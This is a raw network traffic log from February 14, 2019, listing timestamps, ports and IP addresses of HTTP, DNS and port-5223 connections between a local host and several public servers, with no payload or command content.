Feb 14, 2019 12:59:59.858567953 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 12:59:59.859201908 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 12:59:59.861191034 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:59.862807035 MEZ	49270	5223	192.168.0.50	17.252.28.96
Feb 14, 2019 12:59:59.874280930 MEZ	5223	49270	17.252.28.96	192.168.0.50
Feb 14, 2019 12:59:59.876431942 MEZ	49270	5223	192.168.0.50	17.252.28.96
Feb 14, 2019 12:59:59.977452993 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:59.977469921 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:00.103357077 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:00.103948116 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:00.106137037 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:00.107727051 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:00.107738018 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:00.233915091 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:00.234661102 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:00.236306906 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:00.258130074 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:00.258158922 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:00.384723902 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:00.385714054 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:00.387301922 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:00.713325024 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:00.713355064 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:00.980962992 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:01.079395056 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:01.109941959 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:01.206609011 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:01.346772909 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:01.348881006 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:01.440115929 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:01.440130949 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:01.567264080 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:01.567543983 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:01.569298983 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:01.637936115 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:01.637954950 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:01.764941931 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:01.765327930 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:01.767622948 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:01.956456900 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:01.956511021 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:01.959498882 MEZ	49851	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:01.985105038 MEZ	53	49851	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:01.990214109 MEZ	49301	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:02.082844973 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:02.083559036 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:02.085989952 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:02.116616964 MEZ	80	49301	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:02.118536949 MEZ	49301	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:02.121141911 MEZ	49301	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:02.121151924 MEZ	49301	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:02.130408049 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:02.130464077 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:02.247371912 MEZ	80	49301	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:02.248445988 MEZ	80	49301	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:02.250730991 MEZ	49301	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:02.262018919 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:02.262917042 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:02.264915943 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:02.415832043 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:02.415853977 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:02.541994095 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:02.542749882 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:02.544740915 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:03.126456976 MEZ	49302	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:03.252685070 MEZ	80	49302	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:03.254431009 MEZ	49302	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:03.264436007 MEZ	49302	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:03.264491081 MEZ	49302	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:03.391527891 MEZ	80	49302	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:03.391551018 MEZ	80	49302	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:03.393845081 MEZ	49302	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:03.483038902 MEZ	49302	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:03.483071089 MEZ	49302	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:03.609154940 MEZ	80	49302	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:03.610028028 MEZ	80	49302	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:03.611680984 MEZ	49302	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:03.615834951 MEZ	49302	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:03.742219925 MEZ	80	49302	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:03.743858099 MEZ	49302	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:03.920363903 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:03.920387983 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:04.046890020 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:04.047197104 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:04.049196005 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:04.051501989 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:04.051513910 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:04.177722931 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:04.178158998 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:04.179764032 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:06.349956989 MEZ	57957	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:06.376281977 MEZ	53	57957	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:08.125245094 MEZ	60233	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:08.130330086 MEZ	53	60233	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:09.673468113 MEZ	56617	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:09.678492069 MEZ	53	56617	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:12.167284966 MEZ	50137	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:12.222249985 MEZ	53	50137	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:12.224761963 MEZ	49309	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:12.234568119 MEZ	55994	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:12.255486965 MEZ	57406	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:12.255541086 MEZ	53	55994	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:12.286813974 MEZ	53	57406	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:12.289530039 MEZ	49311	80	192.168.0.50	65.52.32.169
Feb 14, 2019 13:00:12.351841927 MEZ	80	49309	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:12.354005098 MEZ	49309	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:12.354547024 MEZ	49309	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:12.415956020 MEZ	80	49311	65.52.32.169	192.168.0.50
Feb 14, 2019 13:00:12.418009043 MEZ	49311	80	192.168.0.50	65.52.32.169
Feb 14, 2019 13:00:12.418534040 MEZ	49311	80	192.168.0.50	65.52.32.169
Feb 14, 2019 13:00:12.482980967 MEZ	80	49309	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:12.485205889 MEZ	49309	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:12.545547009 MEZ	80	49311	65.52.32.169	192.168.0.50
Feb 14, 2019 13:00:12.547602892 MEZ	49311	80	192.168.0.50	65.52.32.169
Feb 14, 2019 13:00:12.549560070 MEZ	49301	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:12.549607038 MEZ	49301	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:12.675668001 MEZ	80	49301	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:12.684799910 MEZ	80	49301	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:12.686358929 MEZ	49301	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:12.697545052 MEZ	49301	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:12.697546005 MEZ	49311	80	192.168.0.50	65.52.32.169
Feb 14, 2019 13:00:12.823254108 MEZ	80	49301	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:12.823599100 MEZ	80	49311	65.52.32.169	192.168.0.50
Feb 14, 2019 13:00:12.825018883 MEZ	49301	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:12.825556993 MEZ	49311	80	192.168.0.50	65.52.32.169
Feb 14, 2019 13:00:13.009495020 MEZ	49309	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:13.075234890 MEZ	49309	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:13.076534033 MEZ	53974	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:13.108680964 MEZ	53	53974	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:13.111668110 MEZ	49312	80	192.168.0.50	13.84.45.249
Feb 14, 2019 13:00:13.142443895 MEZ	80	49309	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:13.142549038 MEZ	80	49309	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:13.142693996 MEZ	80	49309	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:13.142744064 MEZ	80	49309	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:13.145104885 MEZ	49309	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:13.145113945 MEZ	49309	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:13.145119905 MEZ	49309	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:13.145124912 MEZ	49309	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:13.238231897 MEZ	80	49312	13.84.45.249	192.168.0.50
Feb 14, 2019 13:00:13.240118027 MEZ	49312	80	192.168.0.50	13.84.45.249
Feb 14, 2019 13:00:13.240576029 MEZ	49312	80	192.168.0.50	13.84.45.249
Feb 14, 2019 13:00:13.266361952 MEZ	80	49309	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:13.268491030 MEZ	49309	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:13.368868113 MEZ	80	49312	13.84.45.249	192.168.0.50
Feb 14, 2019 13:00:13.368918896 MEZ	80	49312	13.84.45.249	192.168.0.50
Feb 14, 2019 13:00:13.370740891 MEZ	49312	80	192.168.0.50	13.84.45.249
Feb 14, 2019 13:00:13.450865030 MEZ	49313	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:13.576937914 MEZ	80	49313	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:13.578823090 MEZ	49313	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:13.579348087 MEZ	49313	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:13.708209038 MEZ	80	49313	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:13.708224058 MEZ	80	49313	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:13.710530996 MEZ	49313	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:13.728127003 MEZ	49313	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:13.858757019 MEZ	80	49313	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:13.858867884 MEZ	80	49313	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:13.858994007 MEZ	80	49313	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:13.859096050 MEZ	80	49313	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:13.859208107 MEZ	80	49313	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:13.861392021 MEZ	49313	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:13.861407995 MEZ	49313	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:13.861414909 MEZ	49313	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:13.910661936 MEZ	49314	80	192.168.0.50	13.84.45.249
Feb 14, 2019 13:00:13.923825026 MEZ	52716	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:13.924873114 MEZ	51858	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:13.928689003 MEZ	53	52716	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:13.930231094 MEZ	49315	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:13.930319071 MEZ	53	51858	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:13.930677891 MEZ	49316	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:13.930913925 MEZ	52149	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:13.930969954 MEZ	49317	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:13.931294918 MEZ	49318	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:13.931658030 MEZ	49319	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:13.950603008 MEZ	53	52149	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:13.987282991 MEZ	80	49313	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:13.989181995 MEZ	49313	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:13.989526987 MEZ	49313	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.036642075 MEZ	80	49314	13.84.45.249	192.168.0.50
Feb 14, 2019 13:00:14.038594007 MEZ	49314	80	192.168.0.50	13.84.45.249
Feb 14, 2019 13:00:14.039119959 MEZ	49314	80	192.168.0.50	13.84.45.249
Feb 14, 2019 13:00:14.056596041 MEZ	80	49316	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.056914091 MEZ	80	49315	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.057025909 MEZ	80	49317	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.057117939 MEZ	80	49318	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.057524920 MEZ	80	49319	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.058401108 MEZ	49316	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.058897972 MEZ	49316	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.059151888 MEZ	49316	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.059606075 MEZ	49317	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.059618950 MEZ	49318	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.059629917 MEZ	49315	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.059638023 MEZ	49319	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.060492039 MEZ	49315	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.061125994 MEZ	49318	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.061130047 MEZ	49317	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.061188936 MEZ	49319	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.061279058 MEZ	49315	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.116816044 MEZ	80	49313	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.116830111 MEZ	80	49313	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.118994951 MEZ	49313	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.120012045 MEZ	49313	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.120625019 MEZ	49313	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.170161963 MEZ	80	49314	13.84.45.249	192.168.0.50
Feb 14, 2019 13:00:14.172005892 MEZ	49314	80	192.168.0.50	13.84.45.249
Feb 14, 2019 13:00:14.185050011 MEZ	80	49316	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.185226917 MEZ	49294	80	192.168.0.50	65.52.32.169
Feb 14, 2019 13:00:14.185239077 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:14.185242891 MEZ	49295	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:14.185916901 MEZ	80	49316	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.188035965 MEZ	49316	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.188231945 MEZ	80	49315	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.188420057 MEZ	80	49319	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.188536882 MEZ	80	49319	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.188549995 MEZ	49316	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.188651085 MEZ	80	49319	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.188766003 MEZ	80	49319	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.188779116 MEZ	80	49315	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.188908100 MEZ	80	49318	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.189021111 MEZ	80	49318	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.189034939 MEZ	80	49318	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.189045906 MEZ	49316	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.189152956 MEZ	80	49317	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.189266920 MEZ	80	49317	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.189380884 MEZ	80	49317	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.189495087 MEZ	80	49317	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.190897942 MEZ	49319	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.190910101 MEZ	49319	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.191950083 MEZ	49318	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.191951990 MEZ	49317	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.191967010 MEZ	49318	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.191975117 MEZ	49317	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.191982985 MEZ	49315	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.192459106 MEZ	49317	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.249933004 MEZ	80	49313	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.249960899 MEZ	80	49313	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.251693964 MEZ	49313	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.311167002 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:14.311180115 MEZ	80	49294	65.52.32.169	192.168.0.50
Feb 14, 2019 13:00:14.311316013 MEZ	80	49295	13.66.51.223	192.168.0.50
Feb 14, 2019 13:00:14.311383963 MEZ	49319	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.313360929 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:14.313368082 MEZ	49294	80	192.168.0.50	65.52.32.169
Feb 14, 2019 13:00:14.313381910 MEZ	49295	80	192.168.0.50	13.66.51.223
Feb 14, 2019 13:00:14.314831018 MEZ	80	49316	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.315579891 MEZ	80	49316	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.316891909 MEZ	80	49319	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.316916943 MEZ	80	49319	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.317008972 MEZ	80	49319	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.317518950 MEZ	49316	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.318720102 MEZ	49319	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.318744898 MEZ	49319	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.318752050 MEZ	49319	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.319505930 MEZ	80	49317	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.319612026 MEZ	80	49317	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.319720984 MEZ	80	49317	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.319823027 MEZ	80	49317	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.319942951 MEZ	80	49317	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.320051908 MEZ	80	49317	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.320164919 MEZ	80	49317	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.320277929 MEZ	80	49317	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.322664022 MEZ	49317	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.322674036 MEZ	49317	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.322679996 MEZ	49317	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.322685957 MEZ	49317	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.322793007 MEZ	49317	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.449065924 MEZ	80	49317	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:14.451230049 MEZ	49317	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:14.541960955 MEZ	55034	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:14.562488079 MEZ	53	55034	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:14.565007925 MEZ	49326	80	192.168.0.50	77.245.58.158
Feb 14, 2019 13:00:14.584558010 MEZ	80	49326	77.245.58.158	192.168.0.50
Feb 14, 2019 13:00:14.586601973 MEZ	49326	80	192.168.0.50	77.245.58.158
Feb 14, 2019 13:00:14.587346077 MEZ	49326	80	192.168.0.50	77.245.58.158
Feb 14, 2019 13:00:14.606966972 MEZ	80	49326	77.245.58.158	192.168.0.50
Feb 14, 2019 13:00:14.612462997 MEZ	80	49326	77.245.58.158	192.168.0.50
Feb 14, 2019 13:00:14.612479925 MEZ	80	49326	77.245.58.158	192.168.0.50
Feb 14, 2019 13:00:14.614408970 MEZ	49326	80	192.168.0.50	77.245.58.158
Feb 14, 2019 13:00:14.614425898 MEZ	49326	80	192.168.0.50	77.245.58.158
Feb 14, 2019 13:00:14.614803076 MEZ	49326	80	192.168.0.50	77.245.58.158
Feb 14, 2019 13:00:14.634156942 MEZ	80	49326	77.245.58.158	192.168.0.50
Feb 14, 2019 13:00:15.066903114 MEZ	55832	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:15.067862988 MEZ	49327	80	192.168.0.50	77.245.58.158
Feb 14, 2019 13:00:15.072702885 MEZ	53	55832	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:15.075069904 MEZ	49328	80	192.168.0.50	178.250.0.130
Feb 14, 2019 13:00:15.087340117 MEZ	80	49327	77.245.58.158	192.168.0.50
Feb 14, 2019 13:00:15.089620113 MEZ	49327	80	192.168.0.50	77.245.58.158
Feb 14, 2019 13:00:15.090092897 MEZ	49327	80	192.168.0.50	77.245.58.158
Feb 14, 2019 13:00:15.100372076 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.102257013 MEZ	49328	80	192.168.0.50	178.250.0.130
Feb 14, 2019 13:00:15.102816105 MEZ	49328	80	192.168.0.50	178.250.0.130
Feb 14, 2019 13:00:15.110116959 MEZ	80	49327	77.245.58.158	192.168.0.50
Feb 14, 2019 13:00:15.113045931 MEZ	80	49327	77.245.58.158	192.168.0.50
Feb 14, 2019 13:00:15.113060951 MEZ	80	49327	77.245.58.158	192.168.0.50
Feb 14, 2019 13:00:15.114883900 MEZ	49327	80	192.168.0.50	77.245.58.158
Feb 14, 2019 13:00:15.114896059 MEZ	49327	80	192.168.0.50	77.245.58.158
Feb 14, 2019 13:00:15.115345001 MEZ	49327	80	192.168.0.50	77.245.58.158
Feb 14, 2019 13:00:15.128432035 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.130785942 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.130803108 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.130822897 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.130837917 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.130945921 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.130959988 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.131097078 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.131113052 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.131223917 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.131237030 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.131376982 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.131391048 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.131673098 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.131686926 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.131726980 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.131741047 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.131773949 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.131787062 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.132504940 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.132514954 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.132515907 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.132518053 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.132519007 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.132519960 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.132520914 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.132523060 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.132524014 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.133380890 MEZ	49328	80	192.168.0.50	178.250.0.130
Feb 14, 2019 13:00:15.133397102 MEZ	49328	80	192.168.0.50	178.250.0.130
